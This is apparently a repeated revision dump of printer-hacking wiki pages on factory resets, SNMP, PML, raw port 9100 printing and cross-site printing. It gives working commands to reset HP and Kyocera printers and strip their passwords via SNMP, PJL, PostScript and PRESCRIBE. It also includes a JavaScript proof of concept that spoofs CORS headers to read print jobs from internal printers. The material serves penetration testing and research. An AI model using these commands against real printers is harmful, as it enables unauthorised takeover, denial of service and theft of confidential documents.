'''How to test for this attack?'''

On HP printers, restarting or resetting the device can easily be reproduced using [[PRET]]:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PostScript ==

PostScript offers a similar feature: The ''FactoryDefaults'' system parameter, ‘a flag that, if set to true immediately before the printer is turned off, causes all nonvolatile parameters to revert to their factory default values at the next power-on’ <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 751</ref>. Restarting the printer on the other hand can be accomplished by SNMP and PML as described above. It must be noted that PostScript itself also has the capability to restart its environment but it requires a [[Credential disclosure|valid password]]. The PostScript interpreter however can be put into an infinite loop as discussed in [[document processing]] DoS attacks which forces the user to manually restart the device and thus reset the PostScript password.

Reset PostScript system parameters to factory defaults:

<syntaxhighlight lang=postscript>
<< /FactoryDefaults true >> setsystemparams
</syntaxhighlight>

Restart the PostScript interpreter and virtual memory:

<syntaxhighlight lang=postscript>
true 0 startjob systemdict /quit get exec
</syntaxhighlight>

'''How to test for this attack?'''

Restarting or resetting a printer's PostScript interpreter can easily be reproduced using [[PRET]]:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PRESCRIBE ==

For Kyocera devices, the PRESCRIBE page description languages may be used to reset the device to factory default from within ordinary print jobs using one of the commands shown below: 

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";

'''How to test for this attack?'''

Open a raw network connection (using ''netcat'' <ref>''[http://nc110.sourceforge.net/ Netcat – TCP/IP Swiss Army Knife]'', Hobbit, 1996</ref>, for example) to port 9100/tcp of the printer and send the commands documented above.

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Factory defaults

2017-06-25T11:28:29Z

Admin: /* PostScript */

Resetting a device to factory defaults is a security-critical functionality as it overwrites protection mechanisms like user-set passwords. This can usually be done by pressing a special key combination on the printer's control panel. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, physical access to the device is not always an option. The question comes up, if printer vendors have implemented the possibility to perform factory resets on-line using printer control or page description languages. They have, as discussed in this article.

== SNMP ==

The Printer-MIB <ref>''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004</ref> defines the ''prtGeneralReset'' Object (OID 1.3.6.1.2.1.43.5.1.1.3.1) which allows an attacker to restart the device (''powerCycleReset(4)''), reset the NVRAM settings (''resetToNVRAM(5)'') or restore factory defaults (''resetToFactoryDefaults(6)'') using [[SNMP]]. This feature/attack is supported by a large variety of printers and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all static IP address configuration will be lost. If no [https://de.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol DHCP] service is available, the attacker will not be able to reconnect to the device anymore after resetting it to factory defaults.

'''How to test for this attack?'''

Resetting the device to factory default can be accomplished using ''snmpset'' command as shown below:

<syntaxhighlight lang=sh>
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
</syntaxhighlight>

'''Who can perform this attack?'''

Anyone who can send network packets to port 161/udp of the printer device.

== PML/PJL ==

In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On HP devices however, SNMP can be transformed into its [[PML]] representation and embed the request within a legitimate print job. This allows an attacker to restart and/or reset the device to factory defaults within ordinary print jobs as shown below:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

'''How to test for this attack?'''

On HP printers, restarting or resetting the device can easily be reproduced using [[PRET]]:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PostScript ==

PostScript offers a similar feature: The ''FactoryDefaults'' system parameter, ‘a flag that, if set to true immediately before the printer is turned off, causes all nonvolatile parameters to revert to their factory default values at the next power-on’ <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 751</ref>. Restarting the printer on the other hand can be accomplished by SNMP and PML as described above. It must be noted that PostScript itself also has the capability to restart its environment but it requires a [[Credential disclosure|valid password]]. The PostScript interpreter however can be put into an infinite loop as discussed in [[transmission channel]] which forces the user to manually restart the device and thus reset the PostScript password.

Reset PostScript system parameters to factory defaults:

<syntaxhighlight lang=postscript>
<< /FactoryDefaults true >> setsystemparams
</syntaxhighlight>

Restart the PostScript interpreter and virtual memory:

<syntaxhighlight lang=postscript>
true 0 startjob systemdict /quit get exec
</syntaxhighlight>

'''How to test for this attack?'''

Restarting or resetting a printer's PostScript interpreter can easily be reproduced using [[PRET]]:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PRESCRIBE ==

For Kyocera devices, the PRESCRIBE page description languages may be used to reset the device to factory default from within ordinary print jobs using one of the commands shown below: 

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";

'''How to test for this attack?'''

Open a raw network connection (using ''netcat'' <ref>''[http://nc110.sourceforge.net/ Netcat – TCP/IP Swiss Army Knife]'', Hobbit, 1996</ref>, for example) to port 9100/tcp of the printer and send the commands documented above.

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Factory defaults

2017-06-25T11:26:18Z

Admin:

Resetting a device to factory defaults is a security-critical functionality as it overwrites protection mechanisms like user-set passwords. This can usually be done by pressing a special key combination on the printer's control panel. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, physical access to the device is not always an option. The question comes up, if printer vendors have implemented the possibility to perform factory resets on-line using printer control or page description languages. They have, as discussed in this article.

== SNMP ==

The Printer-MIB <ref>''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004</ref> defines the ''prtGeneralReset'' Object (OID 1.3.6.1.2.1.43.5.1.1.3.1) which allows an attacker to restart the device (''powerCycleReset(4)''), reset the NVRAM settings (''resetToNVRAM(5)'') or restore factory defaults (''resetToFactoryDefaults(6)'') using [[SNMP]]. This feature/attack is supported by a large variety of printers and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all static IP address configuration will be lost. If no [https://de.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol DHCP] service is available, the attacker will not be able to reconnect to the device anymore after resetting it to factory defaults.

'''How to test for this attack?'''

Resetting the device to factory default can be accomplished using ''snmpset'' command as shown below:

<syntaxhighlight lang=sh>
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
</syntaxhighlight>

'''Who can perform this attack?'''

Anyone who can send network packets to port 161/udp of the printer device.

== PML/PJL ==

In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On HP devices however, SNMP can be transformed into its [[PML]] representation and embed the request within a legitimate print job. This allows an attacker to restart and/or reset the device to factory defaults within ordinary print jobs as shown below:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

'''How to test for this attack?'''

On HP printers, restarting or resetting the device can easily be reproduced using [[PRET]]:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PostScript ==

PostScript offers a similar feature: The ''FactoryDefaults'' system parameter, ‘a flag that, if set to true immediately before the printer is turned off, causes all nonvolatile parameters to revert to their factory default values at the next power-on’ <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 751</ref>. Restarting the printer on the other hand can be accomplished by SNMP and PML as described above. It must be noted that PostScript itself also has the capability to restart its environment but it requires a [[Credential disclosure|valid password]]. The PostScript interpreter however can be put into an infinite loop as discussed in [[eval-transmission-channel]] which forces the user to manually restart the device and thus reset the PostScript password.

Reset PostScript system parameters to factory defaults:

<syntaxhighlight lang=postscript>
<< /FactoryDefaults true >> setsystemparams
</syntaxhighlight>

Restart the PostScript interpreter and virtual memory:

<syntaxhighlight lang=postscript>
true 0 startjob systemdict /quit get exec
</syntaxhighlight>

'''How to test for this attack?'''

Restarting or resetting a printer's PostScript interpreter can easily be reproduced using [[PRET]]:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PRESCRIBE ==

For Kyocera devices, the PRESCRIBE page description languages may be used to reset the device to factory default from within ordinary print jobs using one of the commands shown below: 

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";

'''How to test for this attack?'''

Open a raw network connection (using ''netcat'' <ref>''[http://nc110.sourceforge.net/ Netcat – TCP/IP Swiss Army Knife]'', Hobbit, 1996</ref>, for example) to port 9100/tcp of the printer and send the commands documented above.

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Factory defaults

2017-06-25T11:26:03Z

Admin:

Resetting a device to factory defaults is a security-critical functionality as it overwrites protection mechanisms like user-set passwords. This can usually be done by pressing a special key combination on the printer's control panel. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, physical access to the device is not always an option. The question comes up, if printer vendors have implemented the possibility to perform factory resets on-line using printer control or page description languages. They have, as discussed in this article.

== SNMP ==

The Printer-MIB <ref>''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004</ref> defines the ''prtGeneralReset'' Object (OID 1.3.6.1.2.1.43.5.1.1.3.1) which allows an attacker to restart the device (''powerCycleReset(4)''), reset the NVRAM settings (''resetToNVRAM(5)'') or restore factory defaults (''resetToFactoryDefaults(6)'') using [[SNMP]]. This feature/attack is supported by a large variety of printers and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all static IP address configuration will be lost. If no [DHCP https://de.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol] service is available, the attacker will not be able to reconnect to the device anymore after resetting it to factory defaults.

'''How to test for this attack?'''

Resetting the device to factory default can be accomplished using ''snmpset'' command as shown below:

<syntaxhighlight lang=sh>
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
</syntaxhighlight>

'''Who can perform this attack?'''

Anyone who can send network packets to port 161/udp of the printer device.

== PML/PJL ==

In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On HP devices however, SNMP can be transformed into its [[PML]] representation and embed the request within a legitimate print job. This allows an attacker to restart and/or reset the device to factory defaults within ordinary print jobs as shown below:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

'''How to test for this attack?'''

On HP printers, restarting or resetting the device can easily be reproduced using [[PRET]]:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PostScript ==

PostScript offers a similar feature: The ''FactoryDefaults'' system parameter, ‘a flag that, if set to true immediately before the printer is turned off, causes all nonvolatile parameters to revert to their factory default values at the next power-on’ <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 751</ref>. Restarting the printer on the other hand can be accomplished by SNMP and PML as described above. It must be noted that PostScript itself also has the capability to restart its environment but it requires a [[Credential disclosure|valid password]]. The PostScript interpreter however can be put into an infinite loop as discussed in [[eval-transmission-channel]] which forces the user to manually restart the device and thus reset the PostScript password.

Reset PostScript system parameters to factory defaults:

<syntaxhighlight lang=postscript>
<< /FactoryDefaults true >> setsystemparams
</syntaxhighlight>

Restart the PostScript interpreter and virtual memory:

<syntaxhighlight lang=postscript>
true 0 startjob systemdict /quit get exec
</syntaxhighlight>

'''How to test for this attack?'''

Restarting or resetting a printer's PostScript interpreter can easily be reproduced using [[PRET]]:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PRESCRIBE ==

For Kyocera devices, the PRESCRIBE page description languages may be used to reset the device to factory default from within ordinary print jobs using one of the commands shown below: 

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";

'''How to test for this attack?'''

Open a raw network connection (using ''netcat'' <ref>''[http://nc110.sourceforge.net/ Netcat – TCP/IP Swiss Army Knife]'', Hobbit, 1996</ref>, for example) to port 9100/tcp of the printer and send the commands documented above.

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

SNMP

2017-06-25T11:25:36Z

Admin:

The Simple Network Management Protocol (SNMP) is a port 161/udp protocol, designed to manage various network components like routers. The architecture is defined in RFC3411 <ref>''[https://www.ietf.org/rfc/rfc3411.txt RFC3411: An Architecture for Describing Simple Network Management Protocol (SNMP) Management Frameworks]'', D. Harrington, R. Presuhn and B. Wijnen, 2000</ref>. Information offered by a managed system is not subject to the standard itself but defined in separate hierarchical database files, so called MIBs (management information bases). A MIB consists of various OID (object identifier) entries, each one identifying a variable to be either monitored (SNMP GetRequest) or modified (SNMP SetRequest). An example of retrieving the <code>hrDeviceDescr</code> value (OID 1.3.6.1.2.1.25.3.2.1.3, textual description of a device) from the ‘Host Resources MIB’ as defined in RFC1514 <ref>''[https://www.ietf.org/rfc/rfc1514.txt RFC1514: Host Resources MIB]'', P. Grillo and S. Waldbusser, 1993</ref> is shown below:

<syntaxhighlight lang=sh>
snmpget -v1 -c public printer iso.3.6.1.2.1.25.3.2.1.3.1
iso.3.6.1.2.1.25.3.2.1.3.1 = STRING: "hp LaserJet 4250"
</syntaxhighlight>

While SNMP is not printer-specific, many printer manufacturers have published MIBs for their network printer model, often including security-sensitive functionality. A generic approach to create a vendor-independent ‘Printer MIB’ was taken in RFC3805 <ref>''[https://www.ietf.org/rfc/rfc3805.txt RFC3805: Printer MIB v2]'', R. Bergman, I. McDonald and H. Lewis, 2004</ref>. SNMP broadcast is used in printing software like [https://en.wikipedia.org/wiki/CUPS CUPS] or [[PRET]] to quickly discover network printers in the local subnet and enumerate their capabilities. As a stand-alone language, SNMP can only be exploited if the attacker has access to port 161/udp of the printer device and the community string is known (usually set to <code>public</code> by default). On HP devices however, SNMP can be embedded within [[PJL]] and therefore included into arbitrary print jobs as so called [[PML]] commands.

→ ''Related articles:'' [[PML]]

-----------

PML

2017-06-25T11:23:20Z

Admin:

'''TBD: This article needs further explanation'''

The Printer Management Language (PML) is a proprietary language to control HP printers. It basically combines the features of [[SNMP]] with [[PJL]]. Publicly available documentation has not been released, however parts of the standard were leaked by the [https://en.wikipedia.org/wiki/LPRng LPRng] project: the '''PJL Passthrough to PML and SNMP User’s Guide''' defines defines PML as ‘an object-oriented request-reply printer management protocol’ <ref>''[http://ftp.icm.edu.pl/packages/lprng/RESOURCES/SNMPDesignJetpassthru.pdf PJL Passthrough to PML and SNMP User's Guide]'', HP Inc., 2000, p. 11</ref> and gives an introduction to the basics of the syntax. PML is embedded within PJL and can be used to read and set SNMP values on a printer device. This is especially interesting if a firewall blocks access to SNMP services (161/udp), but an attacker is still able to print using one of the various techniques discussed in [[attack carriers]]. The use of PML within a print job retrieving the <code>hrDeviceDescr</code> value (OID 1.3.6.1.2.1.25.3.2.1.3, textual description of a device) is demonstrated below:

<syntaxhighlight lang=sh>
> @PJL DMINFO ASCIIHEX="000006030302010301"
< "8000000603030201030114106870204c617365724a65742034323530
</syntaxhighlight>

The rear part of string responded by the printer, <code>6870204c617365724a65742034323530</code> is hexadecimal for <code>hp LaserJet 4250</code> – equivalent to the [[SNMP|snmpget example]]. As can be seen, it is possible to invoke (a subset of) SNMP commands over PJL via PML. A security-sensitive use of PML is to reset HP printers to [[factory defaults]] via ordinary print jobs, therefore removing protection mechanisms like user-set passwords.

→ ''Related articles:'' [[Fundamentals#Printer Control Languages|Printer Control Languages]], [[SNMP]], [[Factory defaults]]

-----------

Fundamentals

2017-06-25T11:20:27Z

Admin:

Typical printers range from classical [https://en.wikipedia.org/wiki/Dot_matrix_printing dot matrix] to [https://en.wikipedia.org/wiki/Inkjet_printing inkjet] or [https://en.wikipedia.org/wiki/Laser_printing laser] printers used at home or in corporate environments. The printing '''hardware''' is not addressed in detail in this wiki as from a security perspective it seems less relevant <ref>Even though some newspapers claimed hackers could set laser printers on fire by [http://www.wired.com/2011/12/hp-printer-lawsuit/ overheating] them.</ref>. This page aims to give an introduction to fundamental '''software''' printing technologies, including network printing protocols, printer control and page description languages.

== High-level overview ==

Sending a document to a network printer may involve various protocols and languages. A schematic relationship regarding the encapsulation of printer languages is given below.

[[File:Protocols.png|500px|Encapsulation of printer languages]]

The network printing protocol acts as a channel to deploy print jobs which either contain the page description language directly or first invoke a printer/job control language to change settings like paper trays. From a security point of view this encapsulation is interesting, especially because functionality is overlapping. For example an – each time different – username can be set in [[IPP]], [[PJL]] and [[PostScript]]. If something is restricted in one layer, it may be allowed in the next one. While network printing protocols are discussed in this wiki, the focus is mainly on printer languages, particularly PJL and PostScript.

→ ''Related articles:'' [[Attack carriers]]

== Network printing protocols ==

Sending data to a printer device can be done by [[USB_drive_or_cable|USB]]/parallel cable or over a network. This wiki focuses on network printing but most of the presented attacks can also be performed against local printers. There are various exotic protocols for network printing like Novell's [https://en.wikipedia.org/wiki/NetWare_Core_Protocol NCP] or [https://en.wikipedia.org/wiki/AppleTalk AppleTalk]. In the Windows world, [[SMB]]/CIFS printer shares have become quite popular. Furthermore, some devices support printing over generic protocols such as [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] or [https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol HTTP] file uploads. The most common printing protocols supported directly by network printers however are [[LPD]], [[IPP]], and [[Raw|raw port 9100]] printing. Network printing protocols can be attacked directly, for example by exploiting a [[Buffer overflows#LPD daemon|buffer overflow]] in the printer's LPD daemon. In many attack scenarios however, they only act as a '''carrier/channel''' to deploy malicious [[Fundamentals#Printer_Control_Languages|Printer language]] code. Note that a network printer usually supports multiple protocols to ‘print’ a document which broadens the attack surface.

→ ''Related articles:'' [[LPD]], [[IPP]], [[Raw]], [[SMB]]

== Printer Control Languages ==

A job control language manages settings like output trays for the current print job. While it usually sits as an optional layer in-between the printing protocol and the page description language, functions may be overlapping. Examples of vendor-specific job control languages are [http://www.undocprint.org/formats/printer_control_languages/cpca CPCA], [http://www.undocprint.org/formats/printer_control_languages/xjcl XJCL], [http://www.undocprint.org/formats/printer_control_languages/ejl EJL] and [[PJL]] – which is supported by a variety of printers and will be discussed below. In addition, printer control and management languages are designed to affect not only a single print job but the device as a whole. One approach to define a common standard for this task was [http://www.undocprint.org/formats/printer_control_languages/npap NPAP]. However, it has not established itself and is only supported by Lexmark. Other printer manufacturers instead use [[SNMP]] or its PJL-based metalanguage [[PML]].

→ ''Related articles:'' [[PJL]], [[PML]], [[SNMP]], [[UEL]]

== Page Description Languages ==

A page description language (PDL) specifies the appearance of the actual document. It must however be pointed out that some PDLs offer limited job control, so a clear demarcation between page description and printer/job control language is not always possible. The function of a ‘printer driver’ is to translate the file to be printed into a PDL that is understood by the printer model. Note that some low cost inkjet printers do not support any high level page description language at all. So called host-based or [https://en.wikipedia.org/wiki/Graphics_Device_Interface#GDI_printers GDI] printers only accept simple bitmap datastreams like [http://www.undocprint.org/formats/page_description_languages/zjstream ZJS] while the actual rendering is done by the printer driver. There are various proprietary page description languages like Kyocera's [http://www.undocprint.org/formats/page_description_languages/prescribe PRESCRIBE], [http://www.undocprint.org/formats/page_description_languages/spl SPL], [http://www.undocprint.org/formats/page_description_languages/xes XES], [http://www.undocprint.org/formats/page_description_languages/capsl CaPSL], [http://www.undocprint.org/formats/page_description_languages/rpcs RPCS], [https://en.wikipedia.org/wiki/ESC/P ESC/P] which is mostly used in dot matrix printers or [https://en.wikipedia.org/wiki/HPGL HP-GL] and [https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2 HP-GL/2] which have been designed for plotters. Support for direct [https://en.wikipedia.org/wiki/Portable_Document_Format PDF] and [https://en.wikipedia.org/wiki/Open_XML_Paper_Specification XPS] printing is also common on newer printers. The most common ‘standard’ page description languages however are [[PostScript]] and [[PCL]].

→ ''Related articles:'' [[PCL]], [[PostScript]]

-----------

Port 9100 printing

2017-03-24T12:02:21Z

Admin:

[[File:Raw-deployment-channel.png|thumb|180px|Printing over port 9100]]

Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer – a functionality which was originally introduced by HP in the early 90s using separate hardware modules. It is the default method used by ''CUPS'' and the ''Windows printing architecture'' <ref>''[https://msdn.microsoft.com/windows/hardware/drivers/print/printer-driver-architecture Windows Printer Driver Architecture]'', Microsoft Corporation</ref> to communicate with network printers as it is considered as ‘the simplest, fastest, and generally the most reliable network protocol used for printers’ <ref>''[https://www.cups.org/doc/network.html\#PROTOCOLS Network Protocols supported by CUPS – AppSocket Protocol]'', M. Sweet</ref>. Raw port 9100 printing, also referred to as ''JetDirect'', ''AppSocket'' or ''PDL-datastream'' actually is not a printing protocol by itself. Instead all data sent is directly processed by the printing device, just like a parallel connection over TCP. In contrast to [[LPD]], [[IPP]] and [[SMB]] interpreted [[Fundamentals#Printer Control Languages|printer control]] or [[Fundamentals#Page Description Languages|page description]] languages can send direct feedback to the client, including status and error messages. Such a '''bidirectional channel''' is not only perfect for debugging, but gives us direct access to results of PJL, PostScript or PCL commands, for example for [information disclosure] attacks. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with [[PRET]] and [[PFT]].

=== Who would put a printer on the Internet? ===

Obviously, a port 9100 based attack requires IP packets to be routed from the attacker to the printer device and backwards but printers usually are not directly connected to the Internet <ref>It however must be noted that in many educational institutions it is common even today to assign a public IP address to all networked devices including printers.</ref>. As of February 2017, the Shodan search engine [https://www.shodan.io/search?query=port:9100+pjl reveals] 48,213 printing devices '''Internet-accessible''' trough port 9100.

[[File:Shodan.png|border|Printers reachable directly via the Internet]]

Attacking intranet printers however may also be attractive to an '''insider'''. Imagine an employee who has motivation to obtain the department manager's payroll print job from a shared device. It is also worth mentioning that many new printers bring their own '''wireless access point''' – unencrypted by default to allow easy printing, for example via ''AirPrint'' <ref>''[https://support.apple.com/en-us/HT201311 About AirPrint]'', Apple Inc.</ref> compatible mobile apps, or they automatically connect to an access point provided by the attacker with a "default" SSID <ref>''[https://www.pwnieexpress.com/blog/rogue-device-spotlight-wireless-printers Rogue Device Spotlight: Wireless Printers]'', Robert Awk, Pwnie Express Blog</ref>. While connecting to a printer through Wi-Fi requires the attacker to stay physically close to the device, it may be feasible to perform her attack from outside of the targeted institution depending on the signal strength.

→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[PRET]], [[PFT]]

----

Cross-site printing

2017-03-24T12:00:20Z

Admin:

Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by <ref>''[http://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf Cross Site Printing]'', A. Weaver, 2007</ref> who use a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like [[PostScript]] or [[PJL]] commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier.

[[File:XSP-deployment-channel.png|420px|Deployment of (potentially malicious) print jobs with XSP]]

== Enhanced cross-site printing ==

Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects as defined in <ref>''[https://www.w3.org/TR/XMLHttpRequest/ The XMLHttpRequest Object]'', A. van Kesteren and D. Jackson, W3C, Working Draft, 2007</ref> to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy <ref>''[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy The Same Origin Policy]'', J. Ruderman, 2001</ref>. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) <ref>''[https://www.w3.org/TR/cors/ Cross-Origin Resource Sharing]'', A. van Kesteren and others, W3C, Working Draft, 2010</ref> can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested ‘web server’ – which actually is a printer [https://en.wikipedia.org/wiki/Raster_image_processor RIP] accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS <code>Access-Control-Allow-Origin</code> fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a hole into the same-origin policy. A schematic overview of the attack is given below:

[[File:Cross-site-printing.png|900px|Advanced cross-site printing with CORS spoofing]]

In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. A proof-of-concept JavaScript snipplet is shown below:

<syntaxhighlight lang=postscript>
job = "\x1B%-12345X\r\n"
+ "%!\r\n"
+ "(HTTP/1.0 200 OK\\n) print\r\n"
+ "(Server: PostScript HTTPD\\n) print\r\n"
+ "(Access-Control-Allow-Origin: *\\n) print\r\n"
+ "(Connection: close\\n) print\r\n"
+ "(Content-Length: ) print\r\n"
+ "product dup length dup string cvs print\r\n"
+ "(\\n\\n) print\r\n"
+ "print\r\n"
+ "(\\n) print flush\r\n"
+ "\x1B%-12345X\r\n";

var x = new XMLHttpRequest();
x.open("POST", "http://printer:9100");
x.send(job);
x.onreadystatechange = function() {
if (x.readyState == 4)
alert(x.responseText);
};
</syntaxhighlight>

== Limitations of cross-site printing ==

Note that [[PCL]] as page description language is not applicable for CORS spoofing because it only allows one single number to be echoed. [[PJL]] likewise cannot be used because unfortunately it prepends <code>@PJL ECHO</code> to all echoed strings, which makes it impossible to simulate a valid HTTP header. This however does not mean that enhanced XSP attacks are limited to [[PostScript]] jobs: PostScript can be used to respond with a spoofed HTTP header and the [[UEL]] can further be invoked to switch the printer language. This way a web attacker can also obtain the results for PJL commands. Two implementation pitfalls exist which deserve to be mentioned: First, a correct <code>Content-Length</code> for the data to be responded needs determined with PostScript. If the attacker cannot predict the overall size of the response and chunked encoding as well is not an option, she needs to set a very high value and use padding. Second, adding the <code>Connection: close</code> header field is important, otherwise HTTP/1.1 connections are kept alive until either the web client or the printer device triggers a timeout, which means the printer will not be accessible for some time.

If the printer device supports plain text printing the HTTP request header of the XHR is printed out as hard copy – including the <code>Origin</code> header field containing the URL that invoked the malicious JavaScript, thus making it hard for an attacker to stay silent. This is unavoidable, as we do not gain control over the printer – and under some circumstances can disable printing functionality – until the HTTP body is processed and the HTTP header has already been interpreted as plain text by the printer device. If reducing noise is a priority, the attacker can however try to first disable printing functionality with proprietary PJL commands as proposed in [[Document processing#PJL_jobmedia|PJL jobmedia]] using other potential XSP channels like IPP, LPD, FTP or the printer's embedded web server. While all protocols could successfully be tested to deploy print jobs using variants of cross-protocol scripting as described by <ref>''[http://www.remote.org/jochen/sec/hfpa/hfpa.pdf The HTML Form Protocol Attack]'', J. Topf, BugTraq posting, 2001</ref> and <ref>''[https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf Inter-Protocol Exploitation]'', W. Alcorn, NGSSoftware Insight Security Research (NISR), 2007</ref> they have some drawbacks beyond not providing feedback using spoofed CORS headers:

* Cross-protocol access to LPD and FTP ports is blocked by various web browsers
* Parameters for direct printing over the embedded web server are model-specific
